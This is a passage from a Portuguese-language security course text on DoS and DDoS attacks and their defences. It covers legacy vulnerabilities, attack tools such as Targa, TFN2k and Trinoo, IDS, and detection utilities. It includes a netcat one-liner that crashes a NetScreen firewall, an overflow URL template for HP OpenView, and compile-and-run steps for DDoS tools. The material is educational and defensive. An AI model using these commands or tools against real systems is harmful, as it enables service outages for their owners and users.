Devendo depois ser compilado.

Como se proteger?
Uma forma de se proteger, contra um ataque deste gnero com origem no exterior, passa
pelo uso do NAT (Network Address Translation). Torna a um atacante do exterior,
88

extremamente difcil de atacar diretamente os sistemas internos. Como o atacante usa um


endereo IP esttico a Firewall pode estar preparada para desligar automaticamente qualquer
trafego de um IP hostil.
Obviamente que devem ser aplicados os ltimos patches e Service Packs. Uma boa
Gateway Firewall usada em conjunto com um router deve ser implementada. Um IDS de alta
qualidade deve ser implementado tambm, um combinao dos router/firewall/ids trabalhando
em conjunto ser uma boa ajuda para a deteco de trfico hostil.

Vulnerabilidade - Microsoft Incomplete TCP/IP packet


Neste tipo de ataque so enviados pacotes malformados porta 139 da vtima, que ir
afetar os servios de rede e sistemas.

Detalhes
Sistemas operativos: Windows NT, Me, 9x
Protocolos/Servios: TCP/IP, porta 139

Descrio
Se um utilizador mal intencionado envia uma inundao de pacotes TCP/IP
especialmente-malformados para o computador da vtima na porta 139, duas coisas podem
acontecer. A inundao pode paralisar o recursos de rede, no computador afetado, impedindoo de responder aos pedidos dos clientes, quando o ataque para, volta a funcionar normalmente.
Segundo o sistema pode pendurar at que seja feito o reboot mquina.

Como se processa
Qualquer programa capaz de gerar mltiplos pacotes fragmentados TCP/IP para um alvo
especifico toma partido desta vulnerabilidade.

Como se proteger?
Podem ser usadas as seguintes tcticas por forma a prevenir estes ataques:
1. Usar um bloqueador de portas para bloquear a porta 139. No caso de firewalls
pessoais extremamente fcil de o fazer.
2. Desativar o servio no servidor File/Print sharing
3. Aplicar o patch da Microsoft para o SO.
89

HP Openview Node Manager SNMP


O HP Openview Node Manager, pode ser comprometido devido a um unchecked buffer
que existe no cdigo do programa.

Detalhes
Sistemas operativos: Sun Solaris 8.0, Sun Solaris 7.0, Sun Solaris 2.6, Windows NT 4.0
e 2000, HP-UX 10.20 e 11.0.
Protocolos/Servios: SNMP, HP Openview Network Node Manager 6.1

Descrio Detalhada
Se um pedido GET especialmente construdo, com o tamanho de 136 bytes for enviado
para os servios web na porta 80 atravs do interface Overview5 CGI, o servio SNMP ir
crashar. Esta vulnerabilidade, depende dos dados entrados, e permite a execuo arbitrria de
cdigo por um utilizador no autorizado.

Como se processa
Qualquer Web browser pode ser utilizado com a string apropriada.

Cdigo fonte
Existe o seguinte pseudo cdigo:

http://target/OvCgi/OpenView5.exe?Context=Snmp&Action=Snmp&Host=&0id=<string de
136 bytes>

Como se proteger?
Bastar aplicar os patches apropriados ao sistema operativo onde o HP Openview se
encontra instalado.
http://ovweb.external.hp.com:80/cpe

Mais informao
http://www.securityfocus.com

90

NetScreen Firewall
Um utilizador no autorizado pode realizar um DoS contra a Firewall NetScreen. Ao
fazer um pedido URL ao WebUI, que est disponvel na porta 80, far a firewall crashar. Tornase necessrio fazer o restart do servio para recuperar a funcionalidade normal.

Detalhes
Sistemas operativos: NetScreen OS 2.5r1, NetScreen Screen OS 2.1r6, NetScreen
Screen OS 2.10r3, NetScreen Screen OS 1.73r1
Protocolos/Servios: HTTP, TCP/IP

Descrio Detalhada
Se o pedido do URL ultrapassar os 1220 bytes, uma firewall NetScreen ir crashar

Cdigo fonte
Existe o seguinte pseudo cdigo:

$echo -e "GET / `perl -e 'print "A"x1200'` HTTP/1.0\n\n"| nc = netscreen_firewall 80

Como se proteger?
Bastar aplicar os patches apropriados ao sistema: http://www.netscreen.com

Checkpoint Firewall DoS


Existe um problema com o license manager utilizado pelo pacote da FireWall-1,
utilizando uma licena do tipo IP limitado a correr em Solaris 2.X, pode ser utilizada para gerar
um ataque DoS.

Detalhes
Sistemas operativos: Sun Solaris 2.6 e 2.5.1
Protocolos/Servios: CheckPoint Firewall-1 4.1 (SP3, SP2)

Descrio Detalhada

91

O license manager da Firewall calcula o endereamento IP da rede protegida ao contar


o nmero de endereos IP disponveis na interface de rede protegida, cada IP adicionado ao
nmero para calcular a cobertura da licena. Depois de o nmero de IP exceder o contratado,
uma mensagem de erro gerada na consola para cada IP que ficar fora da cobertura. A carga
no sistema de firewall aumenta significativamente, por cada mensagem gerada. Devido a esta
vulnerabilidade, um utilizador no autorizado pode tornar o sistema inacessvel da consola ao
enviar um nmero elevado de endereos IP para o interface interno. Mais uma vez a importncia
do NAT fundamental.

Cdigo fonte
Este ataque pode ser levado a cabo, utilizando um programa capaz de gerar IP's
denominado de SynK4.c

Como se proteger?
No existem patches disponveis para esta vulnerabilidade, no entanto se executar o
comando:

fw ctl debug -buf


Inibe o logging consola de consumir recursos excessivos do CPU. Deve ser feito aps
cada instalao de Service Packs

Mais informao
http://www.securityfocus.com

Ataques mais especficos


IP Fragmentation Overlap (Teardrop)
Windows NT Spool Leak
Buffer Overflow DoS Attack num servidor IIS FTP
Stream and raped - Stream.c e rapped.c
Ataque ColdFusion Administrator
Ataques locais
Windows NT 4.0 Terminal Server e proquota.exe
Kernel Panic
92

Ataques aos Windows


TCP Connect Flooding - Utiliza o programa PortF*** para enviar pacotes TCP SYN.

Ferramentas para executar ataques DoS


Tal como qualquer vulnerabilidade j coberta, existem programas que um atacante pode
usar para ativar e explorar essas vulnerabilidades. No caso de ataques DoS, o objetivo ltimo
o de negar o acesso a um componente em particular, acompanhado da desativao desse
componente, ou pelo consumo de todos os recursos. Devido a este objetivo, no interessa que
vulnerabilidade ou ferramenta usada, desde que os utilizadores legtimos no possam aceder
a esse recurso. Baseados nestes pressupostos, um atacante vai experimentando vrias
ferramentas, explorar vrias vulnerabilidades at que um seja bem sucedido. Assim em vez a
maioria dos programas DoS, em vez de explorarem um tipo s de vulnerabilidade, fazem
mltiplos ataques.

Targa
Na sua terceira verso o Targa um programa que pode correr vrios ataques de DoS
diferentes.

Escrito

por

Mixter

pode

ser

feito

download

partir

de:

http://packetstormsecurity.nl/ ou de http://www.rootshell.com

O que Mixter fez, foi pegar no cdigo de cada uma das vulnerabilidades e colocar num
nico programa. O atacante tem a opo de lanar um tipo de ataque individualmente, ou ento
se quiser ser sdico, pode lanar toda a artilharia pesada contra a vtima. Desnecessrio ser
referir que o Targa um programa extremamente perigoso, podendo fazer graves mossas na
rede de contra quem estiver usando, o seu uso deve ser feito s quando devidamente autorizado.
93

Para instalar dever-se- compilar e para tal necessrio possuir as librarias arpa, netinet e sys
em C instaladas.
As opes para correr so vrias:

./targa <start IP> <end IP> [-t tipo] [-n repeats]

Especificando a opo '-t0' estou a dizer-lhe para tentar todas as vulnerabilidades at


que uma seja conseguida.
Conforme o programa vai tentando as diferentes vulnerabilidades, os smbolos grficos
vo mudando.

Esta uma das muitas ferramentas utilizadas na negao de servio. Bastar para tal
consultar alguns dos sites indicados para se perceber as ferramentas postas disposio.

Prevenindo ataques de negao de servio


Devido ao poder e ao tipo de ataque, no existe nada que possa verdadeiramente garantir
segurana contra um ataque deste gnero. No entanto podem ser tomadas algumas medidas no
sentido de minorar as hipteses de ocorrerem. Algumas das medidas que as empresas podem
tomar so:

1. Estrutura planeada de forma robusta e se possvel com redundncia


2. limitar a largura de banda para determinados servios ou por servio.
3. Manter os sistemas atualizados
4. Correr apenas o nmero indispensvel de servios
5. Permitir apenas o trafego necessrio.
6. Bloquear endereos IP que se suspeite hostis.

Estrutura robusta
Quanto mais redundante e robusta a estrutura for, melhor. Se uma empresa tiver no seu
site um fator crtico para a empresa, e estiver dependente de um router, com apenas uma ligao
net, e o servidor web a correr num nico server, ento certo que mais cedo do que o previsto
ir ter problemas. Tudo depende do dinheiro que a empresa estiver disposta a investir, depois
de uma anlise realista ao risco envolvido que determinadas opes tero para a companhia. Se
94

uma companhia achar que ficar um ou dois dias com o site em baixo tolervel, mas o servidor
de correio deve ser robusto deve tomar as suas opes.

Limitaes na largura de banda


Um ataque DoS contra um tipo de protocolo pode consumir toda a largura de banda da
rede. Se um atacante inundar a porta 25, outra pessoa que tente aceder porta 80 ter problemas.
Pode-se definir que 25% da largura de banda ser usado pela porta 25 e 50% pela porta 80.

Manter o sistema atualizado


Este item nem merece comentrios pois um razovel administrador sabe a que me refiro.
A atualizao do sistema, service packs, patches, no momento em que eles saem um fator
chave para manter um sistema minimamente seguro.

Correr o mnimo de servios


Mais uma vez o administrador dever ter o bom senso de apenas colocar a correr os
servios necessrios na configurao do servidor. Deve estar sempre presente o princpio do
privilgio mnimo e o de mnimo de servios indispensveis para funcionar convenientemente.

Permitir o trfego necessrio


Esta defesa semelhante da ltima medida, "correr o menor nmero de servios" s
que esta destinada ao permetro da rede, routers/firewalls. Certifique-se que a sua Firewall
apenas deixa passar o trfego necessrio in/out da sua rede. Muitas empresas filtram o trfego
de entrada mas nada fazem em relao sada.

Bloquear endereos IP
Depois que uma empresa tome conscincia de que se encontra sob ataque, dever tentar
identificar de imediato o endereo IP de onde o ataque est a partir. O problema que mesmo
que bloqueie o trfego no router externo, no entanto o router continuar inundado com tanto
trfego que os utilizadores legtimos no podero aceder rede. Assim logo que uma companhia
reconhea assinatura de um ataque, o administrador dever logo informar o seu ISP por forma
a bloquear os pacotes. Como os ISP's tem uma largura de banda muito superior, e mltiplos
pontos de acesso, podem bloquear o trfego hostil e fazer com que o trfego legitimo flua.

95

Se acham que DoS so poderosos vamos agora visualizar os Ataques de Negao


Distribudos.
Ataques de negao distribudos Distributed Denial-of-Service DDoS

DDoS, so uma estirpe mais virulenta de ataques de negao de servio. A primeira


ferramenta criada para este tipo de ataque foi lanada em 1999, e a Universidade do Minnesota
foi o primeiro alvo pblico em Agosto de 1999, mas foram os mediticos ataques no incio do
ano 2000 que colocou este tipo de ataque nas primeiras pginas de abertura dos servios
noticiosos.
Estes ataques so muito semelhantes aos ataques tradicionais de negao de servio, s
que desta vez no existe uma nica origem de atacantes. O atacante comea por entrar e dominar
dezenas ou mesmo centenas de computadores inseguros, os chamados zoombies, na Internet e
instala um programa de ataque. Depois coordena todos eles para atacarem um determinado alvo
ao mesmo tempo. O alvo, a vtima, assim atacada por todos os lados ao mesmo tempo, as
defesas deixam de funcionar e o inevitvel acontece crash.

96

Figura que demonstra um Distribute Denial of Service

mais ou menos como um ataque de pizzas: mais uma vez a vtima tem um vizinho que
por qualquer motivo no gosta dele. Esse vizinho sabe que a vtima, no dia seguinte, tem uma
reunio importante no trabalho, ento e com requintes de malvadez, telefona a encomendar
comida chinesa, entrega de pizzas, encomenda de moblias, compras no hipermercado, tudo
para ser entregue s 23:00 dando a direo da vtima. s 23:00 a campainha da casa da vtima
assaltada por um engarrafamento de entregas de pizzas, compras, moblias, comida, etc., todos
a pedirem para serem pagos para entregarem a mercadoria. No entanto o atacante no visto
nas imediaes, est em casa a ver pela janela.
Este tipo de ataques incrivelmente difcil, seno mesmo impossveis de defender ou
prever. No ataque de negao de servio tradicional, a vtima capaz de discernir qual a origem
do ataque, e desligar ou rejeitar a ligao, bloqueando o acesso ao seu sistema o atacante. Num
DDoS, no existe uma origem s, o sistema dever rejeitar todas as ligaes, mantendo apenas
aquelas que ele sabe serem de confiana, no entanto os endereos de confiana podem ser
forjados (um pouco mais difcil mas possvel), e tambm no resulta numa rede pblica.

Os ataques DDoS, podem ter diferentes finalidades:


Sobrecarregando os servios de um servidor em particular, ou um recursos especifico.
Os que sobrecarregam os recursos dos Routers e consomem largura de banda
Ataques destinados aos servidores apenas com o intuito de sobrecarregar o CPU ou as
ligaes de rede.

97

Outros atacam tudo na rede.


Este tipo de ataques s tem tendncia a piorarem. As ferramentas atuais que permitem
a realizao de ataques DDoS, requerem que o atacante entre num largo nmero de mquinas
(relativamente fcil para quem j fez um scan rede da netcabo por exemplo, de arrepiar os
resultados), instale o programa zombie, fazer com que esse programa no seja descoberto pelo
utilizador do computador zombie, e coordenar o ataque tudo sem ser apanhado na preparao
do ataque. A ferramentas atuais normal recorrer-se a vrus, worms ou os vulgares Trojans,
como uma forma de propagar esses programas zombies. Depois ser lanar o ataque pela
ativao de um comando cdigo que ativa esses zombies.
Como estes ataques so realizados a partir de uma gama de endereos IP bastante
grande, torna muito difcil o bloqueio bem como de detectar, pois um nmero pequeno de
pacotes de cada mquina zombie podem escapar aos detectores de intruses IDS. Se um nico
endereo IP est a atacar o sistema, pode-se bloquear esse IP na firewall, no entanto se o ataque
tiver origem em 100 endereos j se torna mais complicado.
Um documento muito bom em termos de descrio de ataques de negao de o
publicado pela Mazu Networks emhttp://www.mazunetworks.com/ddos_library/ e que pode ser
consultado aqui (tamanho do ficheiro pdf, de 6Mbytes). Com uma animao muito bem
conseguida de como funcionam os diversos tipos de ataque (Ver animao).
Um caso bastante publicitado, foi o ataque que ocorreu em 1999, em que algum
colocou o post relativo a um falso update do Internet Explorer da Microsoft. Na realidade era
um Trojan que provocava que o computador infectado enviasse pacotes a hosts que
pertencessem rede Blgara de Telecomunicaes, provocou problemas de negao de servio
durante muito tempo. O caso mais recente, Agosto de 2001, em larga escala, o CodeRed que
tinha por misso atacar o site da Casa Branca.
Mais uma vez, apanhar o autor do ataque uma tarefa rdua, pois se os logs telefnicos
forem mantidos por algum tempo, coordenados com os logos dos ISPs por forma a tentar
verificar quando um dos zombies foi infectado, por forma a localizar a fonte uma tarefa difcil.
Ainda mais difcil se torna se estiver numa sia ou Europa de leste em que as leis so
inexistentes em termos de proteo s telecomunicaes, ou basta que o pacote tenha origem
num desses pases, e relativamente fcil faz-lo, basta encontrar um servidor de email a fazer
o relay.
Mais uma vez o verdadeiro problema reside na centena, nos milhares de utilizadores
atualmente ligados 24 horas sobre 24h, utilizando cable modems, DSL, ADSL, etc., ligados
98

Internet com endereos IP estticos, que so usados como rampas de lanamento deste tipo e
no s, de ataques. Os servios noticiosos focam os ataques s grandes empresas, no entanto o
verdadeiro problema reside nos sistemas individuais. Um utilizador v a notcia de ataques de
DDoS a uma empresa como a eBay ou a Yahoo sem suspeitar sequer que se calhar o seu
computador um dos que est a participar no ataque.
Novamente uma das solues passa pela adopo de alertar os utilizadores para a
manuteno dos seus sistemas. De notar que mesmo que 99% dos utilizadores adoptassem
firewalls pessoais, ainda sobrariam alguns milhares de sistemas desprotegidos.
J li, e assisti a algumas conferncias acadmicas acerca de ataques DDoS, e o consenso
que no existe uma defesa em geral. Monitorizar continuamente a rede ajuda, assim como a
capacidade de mudar para sistemas de backup, routers e servidores. Por vezes, e mais
frequentemente do que seria desejvel, so explorados bugs particulares dos sistemas e que
entretanto j foi lanado o respectivo patch, mas no foi aplicado, pelo que a vulnerabilidade
pode ser explorada.

Ferramentas para executarem ataques DDoS

Mais uma vez repito, que o uso destas ferramentas so extremamente perigosas, pelo
que totalmente desaconselhvel o uso das mesmas numa rede no controlada por ns ou sem
autorizao.
Existem um manancial enorme de ferramentas disponveis na Net para lanarem ataques
de DDoS. Vrias podem ser encontradas em

http://packetstormsecurity.nl/distributed/

Tribal Flood Network 2000


Pode ser visto como uma melhoria do Targa, escrito pela pela mesmo autor, pode ser
feito o download a partir de

http://packetstormsecurity.nl/distributed/

Corre os mesmos ataques que o targa com mais algumas exploraes de


vulnerabilidades. Como o TFN2k uma aplicao DDoS a correr em modo distribudo,
99

existindo duas componentes. O mdulo cliente e o modulo servidor. O mdulo cliente a parte
que controla os servidores, e que d a ordem de aos servidores para atacarem recorrendo a uma
dada vulnerabilidade. O mdulo servidor corre em modo de escuta, listening, e aguarda os
comandos a partir do lado cliente. No site indicado possui ainda um texto referente ao futuro
dos ataques DDoS.
Para instalar o programa basta:

tar -xvf tfn2k.tar

de seguido de

make all

Neste momento os componentes servidor e cliente esto prontos a correr, tanto em


mdulo servidor como em cliente ou ambos.
./tfn
Temos acesso a uma quantidade elevada de opes. Como o TFN2k uma arma de
ataque, para o ativar temos que fornecer uma password, isto apesar de haver programas capazes
de descobrir as passwords. de realar que um programa muito stealth,, ou seja, utiliza vrios
processos que o tornam difcil de detectar, por exemplo: todas as comunicaes entre o cliente
e o servidor so enviadas utilizando pacotes ICMP_ECHO_REPLY. Como o nmero das portas
no so utilizados, tornam difcil de o detectar. Desta forma, mesmo que um administrador de
rede possa/deve usar port scanning regulares no vai detectar esta vulnerabilidade se o sistema
estiver infectado.

Trinoo
Trinoo uma das primeiras ferramentas a ser criada, pelo que no tem as
funcionalidades do TFN2k. Como o Trinoo, em oposio ao TFN2k utiliza ligaes TCP/UDP,
torna-se fcil de detectar com um port scanning regular rede. As portas utilizadas so as
seguintes:

Atacante para o master: 27665/tcp

Master para o daemon: 27444/udp


100

Daemon para master: 31335/udp

Com o Trinoo, os daemons residem nos sistemas que lanam o ataque, o master controla
os vrios sistemas daemon.
Em Agosto de 1999, uma rede Trinoo de 200 computadores deitou abaixo a rede da
Universidade do Minnesota durante dois dias. O programa pode tambm ser encontrado
em http://packetstormsecurity.nl/distributed/.

Stacheldraht
mais uma ferramenta de DDoS que combina as potencialidades do TFN2k e as do
Trinoo, com algumas funcionalidades extras, tal como a comunicao encriptada entre
componentes e a atualizao automtica dos daemons. Tal como o TFN2k, utiliza o ICMP e
UDP:

Cliente para o Handler - 16660 TCP

Handle de e para os agentes - 65000 TCP; ICMP ECHO_REPLY

O atacante faz comunicao com os handlers, os handlers controlam os agentes. Os


agentes lanam o ataque.

Prevenindo DDoS
Como no ponto 1.6 debrucei-me sobre os ataques de negao de servio, que se aplicam
tambm aos de negao de servio distribudos, o mtodo de ataque basicamente o mesmo,
inundar a vtima, pelo que as defesas que um administrador de rede dever adoptar devero ser
praticamente as mesmas, quer esteja a ser atacado por um nico computador ou por vrios.
Como um DDoS implica o uso de outros sistemas comprometidos, as empresas devero
ter o cuidado de manter uma poltica de segurana, por forma a evitar que os seus sistemas
participem em ataques de DDoS. Alm da regra j citada, de manter o mnimo de privilgios e
servios, existem mais alguns pontos que gostaria de focar:
1. Manter a rede segura e atualizada
2. Instalar sistemas de deteco de intruso (IDS) - ver trabalho sobre o SNORT
3. Utilizar as ferramentas do atacantes, scanners, etc
4. Correr ferramentas de controlo dos zombies.

101

Manter a rede segura


Se um atacante no consegue acesso a uma rede ou a um sistema, ele no poder instalar
DDoS server no sistema. Um dos meios usados, pode ser o correio electrnico, pelo que
recomendvel ter uma poltica de segurana para o email em que este ser analisado por
ferramentas Antivrus. Se o permetro da rede no for quebrado, e o sistema possa ser mantido
seguro, ento os computadores do sistema no podem ser usados para DDoS. Isto parece ser
daquelas afirmaes de LaPalisse no entanto a poltica de segurana de algumas empresas to
pobre ou inexistente, que nem vale a pena mencionar.

Instalar Sistemas Detectores de Intruso (IDS)


No trabalho referido neste ponto possvel avaliar as capacidades de um desses
sistemas, pelo que mencionar as vantagens seria estar a repetir-me. No entanto e mais uma vez
reforo a ideia.
Existem dois tipos gerais de IDS: Host-based e Network-Based. Um IDS networkbased um dispositivo passivo que se senta na rede e faz o sniffing de todo o trafego daquele
segmento. Um host-based corre num servidor individual e rev ativamente o auditlog procura
de indicaes de ataque.
Assim como existem dois tipos de IDS existem tambm duas tecnologias em que os IDS
assentam: Procura de padres (pattern matching) e o deteco de anomalias.
O procura de padres possui uma base de dados de assinaturas do ataque, o que faz
disparar um alarme quando existe um ataque. O de deteco de anomalias, determina o que
"normal" transitar na rede, e o que no coincide marcado como suspeito, este tipo de IDS
bastante mais difcil de implementar uma vez que o trfico entre duas companhias pode ser
bastante heterogneo. Assim a maioria dos IDS so os que utilizam o pattern matching. Os
seguintes programas so os mais comuns e tambm dos mais potentes:

Shareware

Shadow

Snort

Courtney

ISS RealSecure

Commercial

Axent NetProwler

102

Cisco Secure IDS (NetRanger)

Network Flight Recorder

Network Security Wizard's Dragon


Quando o objetivo prevenir ataques distribudos, recomendvel o uso de network-

based IDS e de host-based.

Ferramentas de scanning
fundamental que um administrador de rede faa regularmente um scanning sua rede
por forma a detectar portas abertas nos sistemas e que no deveriam estar, inclusive guardar os
resultados numa base de dados para posterior comparao. No entanto o que se pretende
encontrar programas DDoS server instalados, e para tal possvel encontrar algumas
ferramentas que ajudam nessa tarefa:
Find_ddos: Tem diferentes verses e corre em vrios sistemas operativos. Tendo por
norte o nmero de ataques DDoS ocorridos, o governo dos Estados Unidos, desenvolveu esta
ferramenta, por forma a procurar quer a gente quer server. Faz o scanning de vrios OS podendo
detectar vrios programas de DDoS.
SARA (Security Auditor's Research Assistant): um detector de vulnerabilidades capaz
de detectar uma variedade de vulnerabilidades no sistema. No link a seguir apresento os
resultados referentes a uma auditoria a uma mquina Linux RedHat 7.2 (Fujitsu), e o resultado
a um Windows 2000 Server com os ltimos Patches. Resultados

DDoSPING v2.0: Corre numa plataforma Windows e do mais simples de utilizar.

103

Uma imagem do DDoSPING

RID - mais um detector de DDoS, e configurvel, pelo que pode ser atualizado pelo
utilizador.
Para mais informaes acerca das ferramentas para detectar DDoS basta ir
a http://packetstormsecurity.nl/distributed/.
de notar que estas ferramentas s funcionam, ou detectam os agentes, se estes
estiverem instalados nas portas por defeito.

Executar ferramentas zombies


Em muitos casos a empresa s detecta que est a ser usada para um ataque, quando a
largura de banda diminui drasticamente. Neste caso, o IDS instalado dar o alerta, assinalando
o problema. Neste caso pode-se executar o programa Zombie Zapper por forma a impedir que
o sistema fique inundado de pacotes.

104

Imagem do Zombie Zapper

Este programa assume que os agentes foram instalados nas portas por defeito, e defende
contra o ataques que se pode ver na imagem.

Concluso
Os ataques DoS e DDoS, podem provocar um estrago elevado e so difceis de proteger.
assim, vital, seno mesmo critico, que uma empresa com uma misso-critica ligada Internet,
possa perceber os riscos associados com o que ir enfrentar, e o que poder fazer para minorar
o ataque. necessrio que a empresa faa uma anlise de risco associado e define quanto
dinheiro est disposta a gastar na reduo do risco. Pois pelo que aqui foi descrito, muito fcil
a um atacante lanar um ataque, a empresa que est em risco, pelo que ter que criar os
respectivos mecanismos de defesa.

105

O Futuro da segurana das redes


No futuro, out-of-band signaling ser a melhor forma de lidar com as enormes
vulnerabilidades da Internet. No ser o Graal ns inseguros ainda existiro para criar
problemas mas ainda demorar um pedao a l chegarmos.
Infelizmente existem vrios problemas. A Internet est desenhada e configurada como
uma rede igualitria, qualquer pessoa pode ligar-se Internet simplesmente ligando-se. Um
sistema de out-of-band ter que ser gerido centralmente. Existiro pontos finais e routers
internos, e eles comportar-se-o de maneira diferente. Nada ser como a Internet dos dias de
hoje.

106

REFERENCIAS BIBLIOGRAFICAS

DEITEL, Harvery M.; DEITEL, Paul J.; et al.. XML: Como Programar. 1 ed. Porto Alegre:
Bookman, 2003.
SILBERSCHATZ, A., Galvin, P., and Gagne, G. (2001). Sistemas Operacionais Conceitos
e Aplicaes. Campus.
[TANENBAUM, 2003] Tanenbaum, A. (2003). Sistemas Operacionais Modernos, 2a edio.
Pearson Prentice-Hall.
PATTERSON, D. and HENESSY, J. (2005). Organizao e Projeto de Computadores.
Campus.
ALEPHONE. Smashing the Stack For Fun and Profit. Volume 7, edio 49. Novembro de
1996. Disponvel em <http://www.phrack.com/issues.html?issue=49&id=14>. Acesso em:
maio de 2015.
TENOUK. Stack-based Buffer Overflow Vulnerability and Exploit Experimental
Demonstration, 2008.
Definio de SQL Inject Disponvel em http://www.w3schools.com/sql/sql_top.asp. Acessado
entre 05-05-2015 a 09-05-2015.
Definio e defesa de SQL Inject Disponvel em:
http://download.oracle.com/oll/tutorials/SQLInjection/index.htm. Acessado em 09-05-2015.
JUSTIN CLARKE. SQL Injection Attacks and Defense- First Edition: Winner of the Best
Book Bejtlich Read Award. 255 Wyman Street. Waltham. MA 02451.USA: Elsevier,2012
COELHO, S. P.; POLCINO MILIES, C. Nmeros: uma Introduo Matemtica. So
Paulo: Editora da Universidade de So Paulo, 2000.
COUTINHO, S. C. Nmeros inteiros e criptografia RSA. Srie de Computao e Matemtica
n. 2, IMPA e SBM, segunda edio (Revisada e ampliada), 2000.
HEFEZ, A. Elementos de Aritmtica. Sociedade Brasileira de Matemtica, 2005.
HOWARD, Michael; LEBLANC, David. Escrevendo Cdigo Seguro. 2 ed. Porto Alegre:
Bookman, 2005.
HOWARD, Michael; LEBLANC, David. Escrevendo Cdigo Seguro. 2 ed. Porto Alegre:
Bookman, 2005.

107